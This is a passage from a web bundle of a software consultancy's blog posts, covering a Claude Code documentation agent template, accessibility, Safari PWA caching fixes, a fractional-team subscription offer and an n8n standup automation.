project? Here\'s the structure:\n\n###
11. Create the Agent Configuration\n\nStore in `.claude/agents/diderot.md`:\n\n```markdown\n---\nname: diderot\ndescription: |\n Use this agent to maintain synchronized documentation for [YOUR PROJECT].\n Diderot analyzes code changes and updates documentation to keep it accurate.\n\n Examples:\n - "Use diderot to update docs after the authentication refactor"\n - "Use diderot to document the new API endpoints"\n - "Use diderot to sync the wiki with recent changes"\n---\n\n# Diderot - Documentation Assistant for [YOUR PROJECT]\n\n## Project Context\n\n- **Application**: [Project name and purpose]\n- **Tech Stack**: [Key technologies]\n- **Documentation Platform**: [Confluence/GitHub Wiki/Notion/etc]\n- **Main Documentation Sections**:\n - [Section 1 and purpose]\n - [Section 2 and purpose]\n\n## Core Responsibilities\n\n1. Analyze git history and PR descriptions for documentation impacts\n2. Update documentation with accurate technical information\n3. Maintain cross-references between related sections\n4. Generate API documentation with examples\n5. Draft release notes summarizing changes\n\n## Documentation Standards\n\n- [Your formatting preferences]\n- [Your code example standards]\n- [Your cross-referencing conventions]\n- [Your versioning approach]\n\n## Critical Rules\n\n- ALWAYS search for existing content before creating new pages\n- NEVER modify documentation outside [your project space]\n- Include "Last Updated" timestamps\n- [Your project-specific rules]\n```\n\n### 2. Add Project-Specific Knowledge\n\nInclude information that helps Diderot understand your context:\n\n- Architecture diagrams or descriptions\n- Common terminology and acronyms\n- Relationships between documentation sections\n- Examples of well-documented features\n- Links to style guides or templates\n\n### 3. Establish a Workflow\n\nCreate a repeatable process:\n\n```bash\n# Review what changed\ngit log --since="2 weeks ago" --oneline\n\n# Invoke Diderot\nclaude code "Use diderot to update documentation based on recent changes"\n\n# Review Diderot\'s updates\n# Approve or request revisions\n```\n\n### 4. Iterate and Refine\n\nAs you use Diderot:\n\n- Save successful documentation patterns\n- Add examples to the configuration\n- Refine the rules based on what works\n- Document edge cases you encounter\n\n## Download Diderot\'s Configuration\n\nWant to see a complete configuration? We\'re sharing a template you can adapt:\n\n**[Download the Diderot configuration template â](/content/blog-post-assets/meet-diderot-the-ai-assistant-that-keeps-our-documentation-in-perfect-sync/diderot-template.md)**\n\nThe template includes:\n\n- Full agent configuration structure\n- Examples for different project types (Enterprise SaaS, DevOps Tools, Open Source)\n- Common documentation standards and formatting preferences\n- Troubleshooting rules and edge cases\n- Workflow examples for common scenarios\n\nYou can adapt this to your project by updating the project context, documentation platform details, and specific standards.\n\n## The Bottom Line\n\nDiderot doesn\'t replace technical writers. He helps developers **keep documentation synchronized** without spending hours on manual updates.\n\nBy analyzing code changes and systematically updating documentation, Diderot:\n\n- Saves hours of manual git log archaeology\n- Maintains accuracy as code evolves\n- Provides comprehensive reference documentation\n- Keeps cross-references up to date\n- Drafts release notes automatically\n\nFor our client projects, Diderot has transformed documentation from a quarterly burden into a weekly routine. Developers can focus on writing great code, and documentation stays current.\n\nAnd when we eventually bring in a technical writer to create tutorials and user guides, they have accurate, comprehensive reference documentation to build from.\n\nThat\'s the power of specialized AI assistance: not replacing human expertise, but making human expertise more effective.\n\n---\n\n**Struggling to keep your documentation synchronized?** Our team specializes in creating maintainable systems that scale with your business. [Let\'
1s talk â](/contact)\n',icon:eD.A,color:"emerald"};var nn=t(5813);let nt={slug:"happy-blue-beanie-day-25",title:"Happy Blue Beanie Day '25!",excerpt:"Celebrating web standards and accessibility on Blue Beanie Day! Learn why we build accessibility into every project from day one, not as an afterthoughtâand see our team's blue beanie selfies.",authors:["Infinity Interactive"],publishDate:new Date("2025-11-30"),category:"Culture",tags:["Culture","Passions","People"],readTime:"4 min read",content:"November 30th marks Blue Beanie Day, an annual celebration of web standards and accessibility that started back in 2007. The tradition? Wear a blue beanie, share a selfie, and recommit to building a more accessible web.\n\nAt Infinity Interactive, we don't just celebrate Blue Beanie Day once a year; we live these principles every day. Here's why accessibility matters to us, and why it should be part of every project from day one.\n\n\n_Eric Wagoner, VP, Technology_\n\n## Why Accessibility Isn't Optional\n\nWhen we build software, we're building for people. All people. Not just those with perfect vision, hearing, and motor control. Not just those using the latest devices with high-speed internet.\n\nAccessibility means:\n\n- **Blind users** can navigate your application with a screen reader\n- **Colorblind users** can distinguish important UI elements\n- **Keyboard-only users** can complete every task without a mouse\n- **Users with motor impairments** can interact with controls that have adequate click targets\n- **Users on slow connections** can still access critical functionality\n- **Users with cognitive differences** can understand your interface without confusion\n\nBut here's the thing: **accessible design makes everyone's experience better.**\n\nClear navigation? Helpful for everyone. Keyboard shortcuts? Power users love them. High contrast text? Easier to read in bright sunlight. Semantic HTML? Better SEO and faster page loads.\n\nWhen you build with accessibility in mind, you're not just helping a minority of users. You're making your product better for everyone.\n\n## Accessibility From Day One\n\nHere's a conversation we hear too often:\n\n> \"We'll add accessibility later, after we prove the concept.\"\n\n> \"Let's launch the MVP first, then circle back to accessibility.\"\n\n> \"We'll make it accessible when we have more budget.\"\n\nWe've learned the hard way: **accessibility retrofitted is accessibility compromised.**\n\nWhen you try to add accessibility after the fact:\n\n- You're fighting against architectural decisions that assumed mouse interaction\n- You're fixing color choices that were never tested for contrast\n- You're adding ARIA labels to components that should have been semantic from the start\n- You're spending 10x the time you would have spent building it right initially\n\n### Building It Right From The Start\n\nAt Infinity Interactive, accessibility is part of our design and development process from the very first wireframe:\n\n1. **Semantic HTML First** - We use native elements whenever possible (`<button>`, `<nav>`, `<main>`) instead of generic `<div>` elements with click handlers\n2. **Color Contrast Checking** - We use tools to verify color choices meet WCAG AA standards, aiming for AAA when possible\n3. **Keyboard Navigation** - Every interactive element is tested with keyboard-only navigation\n4. **Screen Reader Compatibility** - We build with screen reader support in mind, using proper ARIA labels and semantic markup\n5. **Focus Management** - Visible focus indicators and logical tab order are requirements, not nice-to-haves\n6. **Alternative Text** - Images, icons, and visualizations get descriptive alt text from the start\n\nEven in proofs of concept and rapid prototypes, these practices take minimal extra time because they're habits, not afterthoughts.\n\n\n_Toby Deshane, Senior Developer_\n\n## The Business Case\n\nBeyond doing the right thing (which should be reason enough), accessibility makes business sense:\n\n- **Larger Market** - The CDC estimates 26% of US adults have some type of disability. That's over 61 million potential users.\n- **Legal Compliance** - ADA requirements apply to websites. Lawsuits over inaccessible sites are increasing.\n- **Better SEO** - Semantic HTML and proper document structure help search engines understand your content.\n- **Improved UX** - Accessible patterns (clear labels, logical flow, error prevention) benefit all users.\n- **Easier Maintenance** - Semantic, well-structured code is easier to update and debug.\n\n\n_Tommy Lee, C
1o-Founder and Executive VP_\n\n\n_John Bowser, Senior Developer_\n\n\n_Will Hutchinson, Senior Developer_\n\n## Start Building Accessible Today\n\nWhether you're planning a new project or maintaining existing software, here are three things you can do right now:\n\n1. **Run an accessibility audit** - Tools like [axe DevTools](https://www.deque.com/axe/devtools/) and [WAVE](https://wave.webaim.org/) can identify quick wins\n2. **Test with keyboard only** - Unplug your mouse and try to complete your most common user tasks\n3. **Check your color contrast** - Use [WebAIM's Contrast Checker](https://webaim.org/resources/contrastchecker/) on your text and UI elements\n\nBuilding accessible software isn't about checking boxes or meeting legal minimums. It's about respecting the diversity of human experience and ensuring that our technology serves everyone, not just the able-bodied majority.\n\nHappy Blue Beanie Day! Let's build a web that works for everyone.\n\n---\n\n**Building accessible software from day one?** That's our standard approach at Infinity Interactive. Whether you're starting a new project or need help making an existing application accessible, we'd love to talk. [Let's discuss your needs â](/contact)\n",icon:nn.A,color:"blue"};var na=t(9559);let no={slug:"taming-pwa-cache-behavior",title:"When 'Just Refresh' Doesn't Work: Taming PWA Cache Behavior",excerpt:"When Safari's aggressive caching turned our Progressive Web App into a prison for stale content, we embarked on a two-month journey to fix it. Here's what we learned about service workers, cache invalidation, and why 'just refresh the page' doesn't always work.",authors:["Eric Wagoner"],publishDate:new Date("2025-12-16"),category:"Development",tags:["Mobile","JavaScript","iOS","Technology"],readTime:"10 min read",content:"The story starts with a QA report: \"I logged out and logged back in as a different user, but I'm still seeing the old user's data.\" What followed was a two-month journey through one of the most frustrating challenges in modern web development: fighting aggressive browser caching in a Progressive Web App.\n\nThis is the story of how our team wrestled with Safari's PWA caching behavior, the creative solutions we developed, and the hard-won lessons that might save you from the same headaches.\n\n\x3c!-- cut --\x3e\n\n## The Promise and the Problem\n\nWe're not new to mobile development. Our team has built dozens of mobile apps for native iOS, Android, and cross-platform solutions. We've shipped countless web applications optimized for mobile. But this fall we had our first Progressive Web App (PWA) project, and we were about to learn that PWAs come with their own unique set of challenges.\n\nThe project was a proof of concept for our client: a focused application with just enough features to be useful so they could test the market and validate whether a larger investment made sense. If the concept proved out, native iOS and Android apps with a broader feature set might follow.\n\nA PWA built with Flutter was the strategic choice. Flutter would let us build a PWA now, avoiding the complexity of App Store submissions and TestFlight beta management during the proof-of-concept phase. Should the client later want true native apps, we could leverage much of the same codebase to target iOS and Android directly. It was a pragmatic path: validate first, quickly, then scale.\n\nThe development went smoothly. The app looked great, performed well, and our client was thrilled with the progress. We rapidly iterated with weekly releases, collecting feedback and catching issues early through internal QA and client UAT sessions. That process was about to pay off in ways we didn't expect.\n\n## When \"Refresh\" Doesn't Mean Refresh\n\nAs our QA team was testing on Safari, a pattern of issue reports started to come in. After logging out and logging back in to the PWA as a different user, they were seeing the previous user's data. This was a serious privacy and usability concern that we were glad to catch before release. This is why we QA, right?\n\nOur initial fix was straightforward: clear the in-memory cache when a user logs in. Problem solved, we thought.\n\nBut Safari had other plans.\n\nA few weeks and several release cycles later, more QA reports came in. We deployed new builds, but testers couldn't see updates. Our brute force fallbacks we used for typical websites, hard refresh and closing and reopening Safari, didn't work. Even restarting the browser entirely didn't help. Our QA team and UAT users were stuck on old versions of the app, unable to access new features or bug fixes we'd just deployed.\n\nThe kicker? iOS Safari worked fine. The problem was specifically macOS
1Safari: the same browser, different caching behavior.\n\n## Understanding the Beast\n\nTo understand what we were fighting, you need to understand how PWAs cache content. When a user visits a PWA, a service worker (essentially a script that runs in the background) intercepts network requests and can serve cached responses instead of going to the server. This is fantastic for performance and offline capability, but it creates a fundamental tension: how do you update an app when the thing responsible for fetching updates is itself cached?\n\nFlutter's default service worker, we discovered, was optimized for performance over freshness. It cached aggressively, and Safari honored those cache directives more strictly than Chrome. While Chrome would occasionally check for updates, Safari trusted the cache completely.\n\nWe had created an app that was too good at being offline-capable. It was so offline-capable that it refused to go online even when updates were available.\n\n## The API Caching Surprise\n\nWhile we were wrestling with the service worker caching the app itself, we discovered another problem: Safari was also caching API responses, the dynamic data that should always be fresh. Testers would pull-to-refresh on their dashboard and see the same stale data.\n\nWhile annoying, the solution here was relatively simple: add a timestamp query parameter to every API request. Instead of requesting `/api/feed`, we'd request `/api/feed?timestamp=1696789012345`. This makes each request look unique to the browser, bypassing its cache.\n\n```\n/api/feed?timestamp=1696789012345\n```\n\nThis pattern, sometimes called cache-busting, is a tried-and-true technique. But it was just the beginning of our caching odyssey.\n\n## Building an Update Mechanism\n\nNo website or app is ever really \"done.\" Theyâre always going to need to be updated, especially in this case where we were using iterative development. If the browsers were going to hold on so tightly to old versions of our PWA, we'd need a way to notify users when updates were available and provide them with a clear path to get the latest version. This led us to implement a comprehensive update mechanism:\n\n**A version endpoint**: Fortunately, weâd implemented version tracking from the start. We created an API endpoint that returned the current version of the deployed PWA. This endpoint was configured with aggressive no-cache headers to ensure browsers would always fetch fresh version information.\n\n**Periodic checking**: The app would check for updates every 30 minutes in the background. When a new version was detected, users would see a friendly banner: \"A new version is available. Update now!\"\n\n**A custom service worker**: We replaced Flutter's default service worker with one we could control. Our version used version-based cache names, so when we deployed an update, the new cache was completely separate from the old one.\n\n**The nuclear option**: When users clicked \"Update Now,\" we didn't just refresh the page. We cleared all browser caches, unregistered the service worker entirely, and forced a hard reload with a cache-busting parameter. We weren't taking any chances.\n\n## The Version Mismatch Problem\n\nOur initial version-checking approach compared the app's version number against the backend's version number. Simple enough, right?\n\nThe problem emerged during QA testing. Sometimes the PWA and backend were deployed separately, and their version numbers weren't always updated in lockstep. Testers would see the \"update available\" banner even when there was nothing to update, creating confusion and eroding trust in the notification.\n\nThe solution was to move away from manually-managed version numbers entirely and instead use a (more elegant) solution based on git commit hashes. Since both the PWA and backend were built from the same repository, a deployment from the same commit would have matching hashes. If the hashes differed, an update was truly available.\n\nThis approach eliminated false positives and removed the need for manual version bumping. It was a win for both accuracy and developer productivity.\n\n## The Service Worker Strikes Back\n\nJust when we thought we had caching under control, a new problem emerged. QA reported that after clicking \"Update Now,\" the banner would disappear briefly and then come back. Some testers also saw error messages about failed API requests.\n\nThe culprit? Our service worker was intercepting API requests and failing due to CORS restrictions. When a service worker fetches a cross-origin resource, it operates under different security rules than a normal browser request. Our service worker was trying to be helpful by cac
1hing API responses, but it was actually breaking things.\n\nThe fix was to teach our service worker to mind its own business:\n\n```javascript\n// If this is an API request or cross-origin, don't intercept\nif (url.pathname.includes(\"/api/\") || url.hostname !== self.location.hostname) {\n return; // Let the browser handle it normally\n}\n```\n\nBy explicitly excluding API requests from service worker interception, we let the browser's native fetch handle them with proper CORS support.\n\n## The Bootstrap Problem\n\nThere's a philosophical problem with update mechanisms: how do you update the update mechanism itself?\n\nAnyone who had installed the PWA before we implemented our update banner would be stuck. They'd have the old, aggressive service worker that wouldn't check for updates. The only way for them to get our new update mechanism would be to manually clear their browser cache, the very thing our update mechanism was supposed to eliminate.\n\nFortunately, we caught this issue during development, before real users were affected. But it was a sobering realization: if this had made it to production, we would have had to communicate with affected users directly, providing instructions for clearing Safari's cache. It was a reminder that no amount of clever engineering can fully solve a problem that requires changing code that's already running on user devices, and why catching these issues in QA is so valuable. It was also a good reminder of the importance of pragmatic programming and to build in your \"just in case\"-type infrastructure, even for proof of concepts if theyâre being put out in the real world.\n\n## The False Alarm\n\nJust when we thought we'd finally conquered the caching beast, I noticed during some unrelated dev testing that the update banner had returned and wouldn't go away. No matter how many times I clicked \"Update Now,\" it kept coming back.\n\nI jumped on it like a five-alarm fire. After two months of cache-related bugs, my nervous system was primed for the worst. I started tearing through the code, checking service worker logic, reviewing cache invalidation, examining the version comparison. Everything looked correct.\n\nThen it slowly dawned on me: I had manually deployed the PWA to test something, but the backend API hadn't been redeployed. The git hashes were different because they _were_ different. The system was working exactly as designed.\n\nThe banner kept appearing because there genuinely was a mismatch between frontend and backend versions. It just wasn't a _problem_ this time. It was our update mechanism doing its job, faithfully alerting users that something was out of sync.\n\nWe closed the ticket as \"Won't Do\" and had a good laugh. After months of fighting caching issues, we'd finally built something robust enough that its correct behavior looked like a bug.\n\n## Lessons for the Road\n\nAfter two months of weekly releases with cache-related refinements, we emerged with battle-tested wisdom:\n\n**Safari PWA caching is different**: Don't assume Chrome testing covers Safari. And further, don't assume iOS Safari testing covers macOS Safari. Test on the actual platforms your users will use.\n\n**Build cache-busting in from day one**: Retrofitting cache invalidation is painful. Design your PWA with update mechanisms from the start. Consider how users will get updates before you write your first line of service worker code.\n\n**Service workers should stay in their lane**: Keep your service worker focused on static assets. Let the browser handle API requests natively. The performance gains from caching API responses aren't worth the complexity and potential CORS issues.\n\n**Give users an escape hatch**: Automated updates are great, but users need a manual way to force-refresh when things go wrong. A visible \"check for updates\" option builds trust and provides a fallback.\n\n**Version with automation**: Manual version bumping doesn't scale and leads to mismatched deployments. Use git hashes or automated versioning to ensure your version indicators are always accurate.\n\n**Deploy frontend and backend together**: If your version checking compares frontend and backend versions, deploy them from the same commit. Mismatched deployments lead to false update notifications.\n\n## The Bigger Picture\n\nOur caching odyssey with our PWA reflects a broader tension in modern web development. We want apps that load instantly, work offline, and feel native. But we also want apps that update seamlessly and always show fresh content. These goals are fundamentally at odds.\n\nPWAs give us powerful tools to balance these concerns, but those tools require careful handling. A service worker that caches too aggressively becomes a prison for stale content. One that caches too little sacrifices the offline experience that makes PWAs compelling.\n\nThe key is intentionality. Understand what you're caching, why you're caching it, and how users will get updates. Don't accept framework defaults without understanding their implications. And test, test, testâon every browser and platform your users might encounter.\n\nThanks to our thorough QA process and rapid iteration cycles, our client's app launched with robust update handling. Users get fresh content when they need it and cached content when they don't have connectivity. The update banner appears only when there's truly an update available, and clicking it actually works.\n\n
1It took two months of iteration to get there, but none of these issues ever reached production users. The lessons learned will inform every PWA we build going forward. And if this story saves you even one week of debugging Safari caching issues, it will have been worth telling.\n\n## Resources\n\nIf you're building a PWA and want to avoid similar pitfalls, these resources were invaluable during our journey:\n\n- [Chrome's Service Worker Update Strategies](https://developer.chrome.com/docs/workbox/handling-service-worker-updates/)\n- [WebKit's Workers Documentation](https://webkit.org/blog/8090/workers-at-your-service/)\n- [What Web Can Do Today](https://whatwebcando.today/) - For understanding PWA feature support across browsers\n\nLike what youâve read? Have questions? Have a PWA you want to bring to life? [Weâd love to hear from you â](/contact)\n",icon:na.A,color:"amber",ogFeaturedImage:"/content/images/blogs/taming-pwa-cache-behavior/featured-image.png"};var ni=t(1503);let ns={slug:"what-your-lawn-care-company-can-teach-you-about-hiring-developers",title:"What Your Lawn Care Company Can Teach You About Hiring Developers",excerpt:"You don't hire a landscaper or buy a mower for your office lawn. A crew just shows up and handles it. What if your technology worked the same way? That's the idea behind FiTT: a predictable subscription that gives you a development team, not a headcount problem.",authors:["Eric Wagoner"],publishDate:new Date("2025-12-23"),category:"Business",tags:["Culture","Operations","Partners","Technology"],readTime:"7 min read",content:"You probably don't think much about the lawn outside your office. It just looks good. Somebody mows it, edges it, keeps the hedges tidy. In the fall, leaves disappear. In the spring, mulch appears. You didn't hire a landscaper, negotiate their salary, or figure out their benefits package. You didn't buy a mower or debate whether you really need a leaf blower. A crew just shows up, does what needs doing, and leaves.\n\nSometimes it's three people with a truck full of equipment. Sometimes it's one person with a rake. You don't manage that decision. You don't need to. The service understands what your property needs and handles it.\n\nMaybe your office participates in the city's annual marigold festival, and for two months you bump up to a premium tier so the grounds really shine. Then it quietly scales back down for routine care. No awkward renegotiations. No \"that wasn't in the original scope.\" Just... handled.\n\nNow imagine your technology worked the same way.\n\n\x3c!-- cut --\x3e\n\nThat's the idea behind **FiTT (Fractional Infinity Technology Teams)**. A predictable monthly subscription that gives you a development team, not a headcount problem. Sometimes you need three senior engineers and a DevOps specialist to push a major release. Sometimes you need one person to squash a weird production bug. We flex to what you actually need, when you need it.\n\nNo recruiting. No onboarding. No ramp-up. No figuring out what to do with a full-time hire during a slow quarter. Just a team that understands your business and shows up ready to work.\n\n## The usual options aren't great\n\nWhen you need more technical capacity, you've traditionally had three choices. None of them are ideal.\n\n**Hire full-time employees.** This is the default answer, and it makes sense if you have consistent, predictable work that justifies dedicated headcount. But the cons are significant: recruiting takes months, good candidates are expensive and hard to find, onboarding and ramp-up eat into productivity, and you're carrying the full cost of salary, benefits, and management overhead whether the work is there or not. Scaling down is painful (and expensive). Scaling up means starting the whole cycle over again.\n\n**Lean on your existing team.** Maybe you've got a strong developer who can \"also handle\" DevOps. Or a backend engineer who's \"pretty good\" at frontend stuff. This works until it doesn't. You end up with a jack-of-all-trades who's master of none, stretched thin across too many responsibilities. One voice means one set of ideas. And if that person leaves (or gets hit by the proverbial bus), you've got a single point of failure that takes your institutional knowledge with it.\n\n**Hire freelancers.** Flexible, sure. But freelancers come and go. Every new engagement means explaining your co
1debase, your standards, your business context from scratch. You get flexibility at the cost of continuity, and you spend real time managing the revolving door. When the project wraps, the knowledge walks out with them.\n\nEach of these options solves one problem while creating others. Full-time hires give you continuity but cost a fortune and don't flex. Your internal generalist is cheap but limited and risky. Freelancers flex but don't stick around.\n\nWhat if you could get skill, continuity, flexibility, _and_ cost efficiency in the same package?\n\n## How FiTT actually works\n\nFiTT gives you access to an established, integrated team. Not a collection of individual contractors, but people who already work together and know each other's strengths. We flex the roles applied to your engagement based on what you actually need right now.\n\nOne month you might need heavy backend development to get a new feature out the door. The next month, it's mostly QA and bug fixes. The month after that, you're planning a major architecture change and need a senior consultant to help think it through. You don't hire and fire for each of these phases. You don't renegotiate contracts. We just shift who's working on your account and what they're focused on.\n\nYou pick a subscription tier based on your budget and expected needs. We handle the rest: matching the right skills to the work, managing the coordination internally, and showing up ready to be productive. If your needs change (a big launch coming up, a slow quarter, an unexpected emergency), we adapt. Bump up a tier for a couple months, then scale back down. No drama, no paperwork.\n\nIt's an annual subscription, billed monthly, with tiers ranging from around $1,000/month for light advisory work up to custom arrangements for heavier ongoing engagements.\n\n## What this looks like in practice\n\nRemember the marigold festival? Here's the tech equivalent.\n\nSay you're a SaaS company with a small but capable engineering team. Things are humming along fine, but then sales closes a big enterprise deal, and the new client needs a set of integrations built before Q3. Your team doesn't have the bandwidth, and you don't have time to hire.\n\nWith FiTT, you bump up to a higher tier for two or three months. We bring in the people who can build those integrations: an API specialist, someone who knows the third-party systems involved, a QA engineer to make sure nothing breaks. The work gets done, the client is happy, and you scale back down to your normal maintenance tier afterward.\n\nOr maybe your lead developer announces she's leaving for a new opportunity. You've got three months of runway before she's gone, and no idea how long recruiting her replacement will take. FiTT bridges the gap, keeping projects moving, maintaining code quality, and preserving institutional knowledge until your new hire is up to speed.\n\nOr maybe there's no crisis at all. You just have a backlog of maintenance tasks, small improvements, and technical debt that never rises to the top of the priority list because your team is always focused on the next feature. FiTT handles the \"important but not urgent\" work that otherwise never gets done.\n\n## The stuff you don't have to think about\n\nWhen you work with FiTT, you're not just getting developers. You're getting Infinity's entire operational infrastructure: project management, issue tracking, version control, CI/CD pipelines, testing and QA processes, documentation practices. We bring our tools and methodologies with us, or we plug into yours. Either way, you're not building that scaffolding from scratch or teaching freelancers how you do things.\n\nYou also get regular strategy sessions, weekly status meetings, and access to people who've been building software for a long time and have opinions about where the industry is headed. It's not just execution. It's partnership.\n\nAnd because we're an established team (not a loose collection of contractors who met last week), we already know how to work together. There's no forming-storming-norming period. We show up functional.\n\n## The bottom line\n\nYou probably don't want to be in the business of recruiting, hiring, onboarding, and managing software developers. You want software that works, built by people who know what they're doing, at a cost that makes sense.\n\nFiTT gives you a full tech team for roughly what you'd spend on a
1single mid-level hire. Skilled people, working together, focused on your goals, flexing to your needs. One predictable monthly cost. No surprises.\n\nLike a good groundskeeping crew, we just show up and handle it. You can get back to looking out the window at a lawn that looks great, not worrying about who's mowing it.\n\n## Ready to talk?\n\nWe'd love to learn about your business and see if FiTT is a good fit. [Reach out to us](/contact) or give us a call at **800.646.0188**.\n",icon:ni.A,color:"green",ogFeaturedImage:"/content/images/blogs/what-your-lawn-care-company-can-teach-you-about-hiring-developers/og-featured-image.png"};var nr=t(3854);let nl={slug:"how-i-automated-my-morning-standup-with-n8n-and-got-an-unexpected-morale-boost",title:"How I Automated My Morning Standup with n8n (And Got an Unexpected Morale Boost)",excerpt:"Every developer knows the Monday morning standup scramble. I built an n8n workflow that gathers my GitHub and Jira activity and generates a natural standup update delivered to my inbox each morning. The time savings were expected; the daily morale boost wasn't.",authors:["Eric Wagoner"],publishDate:new Date("2026-01-06"),category:"Development",tags:["Agile","AI","Automation","Communication","Git"],readTime:"6 min read",content:"Every developer knows the feeling. It's Monday morning standup, someone asks what you accomplished last week, and your mind goes completely blank. You were definitely productive on Friday, but the weekend wiped the slate clean. Now you're scrambling through your terminal history, scanning commit logs, and clicking through Jira tickets while everyone waits.\n\nI decided to solve this problem once and for all.\n\n## The real problem isn't memory\n\nAt first, I thought this was a memory problem. I'm not the type to keep meticulous notes in a notebook throughout the day, so when standup rolls around, I have to reconstruct my work from artifacts. Commits, PRs, Jira tickets, issue updates. The information exists, it's just scattered across multiple systems.\n\nBut the deeper problem is context switching.\n\nI recently wrote about [how we structured our FiTT offering](/resources/blog/what-your-lawn-care-company-can-teach-you-about-hiring-developers) using a lawn care analogy: our
1clients don't hire individual developers, they subscribe to a service where the right team just shows up and handles what needs handling. Sometimes it's three people with a truck full of equipment. Sometimes it's one person with a rake.\n\nI'm one of the people who shows up. And like a good groundskeeper who might edge the hedges at one property in the morning and lay mulch at another in the afternoon, I often touch multiple client projects throughout the week. I genuinely enjoy this. There's something that tickles my brain in a particularly pleasant way about solving problems across different domains, jumping from a payment integration on one project to a data pipeline on another to a frontend redesign on a third.\n\nBut come standup time, whatever I touched most recently dominates my mental space. I'd find myself talking about a small bug fix I did that morning while completely forgetting the feature work I'd spent three days on earlier in the week. The recency bias was real, and working across multiple client engagements made it worse.\n\n## The spark\n\nI'd had n8n installed on a DigitalOcean droplet for a while, but it was a tool looking for a problem. I knew it could automate things, but I hadn't found the right \"thing\" yet.\n\nThen I watched [Leon van Zyl's tutorial on automated standups](https://www.youtube.com/watch?v=CJMaqmYhKqU), and something clicked. Not just \"oh, I could build that,\" but a broader realization about where automation tools like n8n actually fit. They're not for the big, obvious workflows that justify dedicated engineering time. They're for the quiet, repetitive friction points you've learned to live with. The stuff that's annoying but not annoying enough to fix properly.\n\nStandup prep was exactly that kind of problem. Five minutes of archaeology every morning, barely worth complaining about, but it added up. And now I had a solution.\n\n## Building the automation\n\nThe concept is simple: every morning at 8 AM, a workflow gathers my activity from the past 24 hours and generates a natural-sounding standup update delivered straight to my inbox.\n\nThe workflow ended up more involved than I initially expected. My work lives in two places (GitHub and Jira), so I needed to pull from both to get the complete picture.\n\nOn the GitHub side, the workflow fetches my recent commits (with full details on which files changed), plus any open PRs. On the Jira side, it gets more interesting: I'm pulling in-progress tickets, recently updated issues, my transitions (status changes I've made), and my activity feed. All of that gets merged and cleaned into structured data.\n\nBoth streams converge and get sent to Claude Haiku with a prompt asking for a conversational summary. Something I could read aloud without sounding like a robot.\n\n<div class=\"info-box\">\n<span class=\"info-box-title\">How it works</span>\nThe workflow pulls GitHub commits, PRs, and Jira activity in parallel, merges everything into structured data, sends it to Claude for a conversational summary, then routes the output to email (sync days) or Slack (async days) based on your calendar.\n</div>\n\n\n_The full workflow in n8n, pulling from both GitHub and Jira_\n\n<div class=\"info-box\">\n<span class=\"info-box-title\">Here's an actual output from a recent morning</span>\nI shipped PR #157 this week adding a new blog post about hiring developers using a lawn care analogy to introduce our FiTT service model. The post went live with all the content and images.<br/><br/>\nCurrently working on PR #158 which adds a new Digital Transformation & AI service page and updates our homepage messaging to focus on transformation. It's a pretty big change, new hero section with 'We Transform How You Work' messaging, featured placement in navigation, and a revamped services overview that highlights the new offering.<br/><br/>No blockers, just need to finish testing the navigation changes and static build process for PR #158.\n</div>\n\nNatural. Conversational. Accurate. And I didn't have to think about it.\n\n## The calendar twist\n\nOur team runs synchronous standups some days and async standups on others. I wanted the workflow to adapt automatically. So I added a Google Calendar check: if there's an event with \"standup\" in the name within the next day, it's a sync day and I just get an email to reference during the call. If not, it's async, and the workflow posts directly to Slack (either to a channel or to myself, depending on what's needed).\n\nOne quirk I discovered: Google Calendar's API has a strange behavior where setting a result limit of 1 or 2 returns nothing. Set it to 3, and it works fine. The mystery remains, but I did work around it.\n\n## What I didn't expect\n\nThe practical time savings are real. What used to take 5-10 minutes of morning archaeology now takes zero minutes. But the unexpected benefit was psychological.\n\nThere's something genuinely satisfying about getting that automated email every morning. It's a little daily summary of what you accomplished, delivered without any effort on your part. Even on days when it felt like I didn't get much done, seeing the actual commit history and ticket activity usually proves otherwise. It's become a small morning morale boost I didn't know I needed.\n\nSince building this, I've found more of those quiet friction points where n8n helps. Triaging support emails. Generating SQL queries from natural language against a read-only database. Even auto-inking my kids' pencil drawings with AI. None of these are big enough to justify a \"real\" engineering project, but they're real enough to be worth an hour of wiring things together.\n\n## Try it yourself\n\nI've shared the complete n8n workflow JSON below. You can import it directly into your n8n instance and be up and running quickly.\n\nThe workflow is designed around a single Config node that holds all the project-specific values: your Jira project key and domain, your GitHub owner and repo, your username, email, which Jira statuses count as \"in progress,\" and how many days to look back. Everything else in the workflow references that Config node.\n\nThis means scaling to multiple projects is trivial. I have one copy of this workflow for each client engagement I'm on. When I start on a new project, I duplicate the workflow, update the Config values to point at the right Jira project and GitHub repo, select the right Slack channel, and I'm done. When the engagement ends, I just delete that workflow. No archaeology required.\n\nAfter importing, you'll need to:\n\n1. Update the Config node with your values (jira_project, jira_domain, jira_in_progress_statuses, github_owner, github_repo, github_username, email, lookback_days)\n2. Set your schedule in the Schedule Trigger\n3. Make some manual selections: your calendar for \"Get Standup Meeting,\" your Slack user for \"Send to Myself,\" and your channel for \"Send to Channel\"\n4. Reconnect all credentials (GitHub, Jira, Anthropic, Google Calendar, Slack, SMTP)\n\n[Download the n8n workflow JSON](/content/images/blogs/how-i-automated-my-morning-standup-with-n8n-and-got-an-unexpected-morale-boost/Jira%20and%20Github%20Automated%20Standup.json)\n\nI'm running n8n on a DigitalOcean droplet for about $12 a month. Self-hosting is straightforward if you're comfortable with Docker, but n8n also offers a cloud option if you'd rather skip the infrastru
1cture.\n\nThe real insight here isn't about AI. The AI is almost incidental, just doing the final polish on structured data. <strong>The value comes from the automation itself: having a system that reliably gathers and presents information you were going to need anyway.</strong>\n\nIf you're tired of that Monday morning memory scramble, this might be worth an hour of your time to set up. Your future self, standing in standup with nothing prepared, will thank you.\n\n## Want a team that thinks this way?\n\nWe're always looking for ways to remove friction and let our teams and our clients focus on what matters. If you'd like that kind of thinking applied to your projects, [let's talk](/contact)!\n",icon:nr.A,color:"violet",ogFeaturedImage:"/content/images/blogs/how-i-automated-my-morning-standup-with-n8n-and-got-an-unexpected-morale-boost/standup-archaeology.png"};var nh=t(5843);let nd={slug:"between-hype-and-rejection-a-practical-philosophy-for-ai-assisted-development",title:"Between Hype and Rejection: A Practical Philosophy for AI Assisted Development",excerpt:"AI tools divide developers into camps of breathless enthusiasm and principled rejection. Both miss the mark. After a year integrating AI into our workflows, we've identified two failure modes and the assistive approach that works: keeping judgment in human hands while removing mechanical friction.",authors:["Eric Wagoner"],publishDate:new Date("2026-01-13"),category:"Development",tags:["AI","Culture","Passions","Technology"],readTime:"8 min read",content:"<div class=\"info-box\">\n<span class=\"info-box-title\">TL;DR</span>\n\nDevelopers either over-rely on AI (abdication) or refuse to use it at all (avoidance). Both hurt the work. The middle path 